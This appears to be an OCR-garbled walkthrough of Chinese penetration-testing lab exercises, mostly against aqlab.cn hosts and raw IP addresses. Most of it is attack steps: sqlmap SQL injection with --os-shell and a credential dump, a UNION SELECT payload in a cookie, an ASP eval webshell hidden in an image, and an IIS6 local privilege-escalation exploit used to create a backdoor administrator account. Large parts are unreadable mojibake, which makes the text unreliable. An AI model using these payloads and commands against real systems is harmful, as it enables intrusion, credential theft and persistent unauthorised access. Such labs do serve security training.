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#iExX[$EFEENERLE
# BilmO=: 81
# 83« kaliDl.lab.aglab.cn:81/dns.txt

kaliD1.lab.aglab.cn:81 , BEFEMNzETRIFEHS (=45 )

HEEG, KRBT 7RI

lcenterrda href="/dns. txt” styvle="t
2787947 flowToken=1007943" 1id="gkk"
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## EEREE—F
## flagFiEwOS

RIEE—x+ , BE—MRFEFEE | Ata  EEEEnRE ?
shop.aqlab.cn:8001 nmap5e &/ K3, REAFHTEKM; nmap -sS -n-A shop.aglab.cn
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## webBE TR
## flagERE— 1 AEE (FRWE)

RIS = FERRNLR | RIBHTRREE !

flag i 7E http://shop.aqglab.cn:8001/robots.txt 15
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Tips:
flagie2iEE=E =

tRIE F— < FERRARE T,
EERAFIORRE | /AR ?

FEA R http://shop.aglab.cn:8001/single.php?id=1
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Tips:
REF Mlag.php

FERmdESERERE
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RiEshelliR . EERE R ~oflag.phpizit

FiE—: H¥os-shellZREL

sglmap -u “http://shop.aqglab.cn:8001/single.php?id=1" --os-shell

FEZ: PATH4S

sqlmap -u “http://shop.aqglab.cn:8001/single.php?id=1" --os-cmd=ipconfig
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VEAR: http://59.63.200.79:8003/index.php?id=3
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http://120.203.13.111:8001/shownews.asp?id=171

AT AR50, M5 T i shownews.aspiXANASPEIZSM T, SHEEE#TRE, FEME THEI7TUR (d=171) FHEN
BHIE

BTRBMZREN, AE-RZIN RSN FE P EsqiEH)
http://120.203.13.111:8001/shownews.asp?id=171 order by 10

BHALYIERTHEI0NFR, WEEREIER, TREMNGLEP Horder by, (HIE10H11
http://120.203.13.111:8001/shownews.asp?id=171 order by 11
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GET lshownews aspTid=171 HTTPA .1

Host: 117167 1307245

User-Agent: Mozilla/5.0 (Windows NT 6.1, WOWES, rv:27.0) Geckol201(
Accept: text/html applicationfchtml+xml applicationixmlg=0.9 ** g=0.8
Accept-Language: en-US eng=0.5

Accept-Encoding: gzip, deflate

Cookie: ASPSEﬁﬁ O QASTCADElR=GNOD:&EIAFFCDJIPAPMCGIKPD
Connection: close

GET /shownews.asp HTTPA .1

Host: 117.167.136.245:10181

User-Agent: Mozillais.0 ONindows MT 5.1; WICOWWE
Accept: text/tml application/xhtml+xml applicatior
Accept-Language: en-US en;g=05
Accept-Encaoding: gzip, deflate

Cookieid=172

Connection: close

GET lshownews.asp HTTPM 1

Host: 117.167.136.245:10131

User-Agent: Mozilla/5.0 (Windows NT 6.1, WOWES, rv.27.0) Geckof20100101 Firefo
Accept: text/html applicationfchtml+xml applicationixmlg=0.9 ** g=0.8
Accept-Language: en-US eng=0.5

Accept-Encoding: gzip, deflate

Cookietid=17 2+union+select+1 username password 4 5 87 8 9 10+from+admin
Connection: close

sqlmap #F1TcookieyE A :

sqlmap -u “http://117.167.136.245:10181/shownews.asp” --cookie “id=170" --level 2 -v 3 -T admin -C “username,password” --
dump

FF4R: admin #&GRN: welcome
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FF 2 i IR 98 2 57 cookie AT & 3
#EADMINSESSIONIDCSTRCSDQ# 5 7EName T LBMLMBCCNPFINOANFGLPCFBCH i fEvalue

Edit Cookie

Name # | ADMINSESSIONIDCSTRCSDO
Value #  LBMLMBCCNPFINOANFGLPCFBC
Host @  59.63.20079
Path A/
Expires  £2

|¥] Session cookie

RE| LME KRG, ASP—HIEARD: <%eval request (‘pass”)%>

— R B EEER D UHER RS, FU—ROE —0ERDHSMRE R D,

copy 111.jpg/b + 123.asp/a test.jpg
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FIE (F) FOFA Pro - RIEE=E...

D:\ 05\ UploadFiles\cmd.exe
netstat -tan | find "ESTABLISHED"

192.168.0.2:81 121.8.154.5:2107
192.168.0.2:81 121.8.154.5:2110
192.168.0.2:81 121.8.154.5:2112

P\ﬂ S OHY3: 8NN nethddidid o4p1 2L
.168.023:81 121.8.154.5:2115

D:\05\UploadFiles\cmd.exe | N
netstat -tan | find "ESTABLISHED™ ﬁ%ﬁﬂﬁ

.168.0.3:81 121.8.154.! E‘I-L’LEFHT JLISHED
: 121.8.154.5 co 1 AsLISHED
121.8.154.5:2112 ESTABLISHED
121.8.154.5:2113 ESTABLISHED
121.8.154.5:2115 ESTABLISHED

: 192.168.0.1:62429 ESTABLISHED
.168.0.3:81 192.168.0.1:62430 ESTABLISHED
.168.0.3:81 192.168.0.1:62431 ESTABLISHED
.168.0.3:81 192.168.0.1:62432 ESTABLISHED
: 192.168.0.1:62433 ESTABLISHED

16850/ Diegaadn. Nes @K HEDH | 5

R JE IZ BRI 1 B EE AT B I P —pigking. {H &2 XIE4E15 1A .

E: 0B IploadFi

X R 23X R R N AE B emd 75 B 4h 383 Owscript.shell. {H 2 wscript.shel 3R ECH:, CRBIMIRTLE M. XATEA
73? WA HEEE L& — B LA R T Kwscriptshell, B3R T EHiis6.exe.
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[ | cmd. EeXe

B 1126, exe

5 KRBT iis6.exeAT T whoamifis &—iis6.exe “whoami”. )5, FEFRETRZ(EE, H—this exploit gives you a local
system shell, BMXAEFEHECEE T KsystemiI iy TR,

pdmin goldzTn Verzion

ron & Local Swstem shell




FEitk, WEPATERENIES, UAERIAEN GG . WERE BlemdIELE MsystemU R PATIX %184, TRIE KPR 2L K
T system,

TR, BERERBEIT-iis6.exe “netuser pig 123 /add”’ @ inpigh /-, MK, X&GLSMERTIT

F £, FHiis6.exe "netlocalgroup administrators pig /add"#§ 4 [ & ¥ & F /- R Shdin T pighH 7

BMARCELAE TEEAAF, BARRAF[EMNAXANAFAZR/EFR. TRRER T HTRE RS ZEEX AW RS2,
FHHpigH P&k, FRRITFZEE@E, FHMNZMEKip+port, (HRHERTEEERE. ZREEMEN—MEF, BrE—E
HHAT —MROS. Miptin D SRRMEEAE, X605 HERRERSKMANROS, pRRKRXE RS FER, Fit
MREAM RS S LHERREERSHTNE, BoEeERROSHRE SANKREDS. HERNEBEZRRBUROS
TREBKRLHALIT, Htaskliist-sveinSEE T XERFHFBIRS, KITFERER%Stermservice¥pidZ 1588,
RGBS Fnetstat -ano B E T 3 OALESDRE, 458 Eorpid=1588Fr %t B A% 1523389, RSRIEEKN, itk jakE
RIHARS 6 0523389, HHEELATRICRE, MHMARERAEN, REZXNROKIEE, BHteemE.
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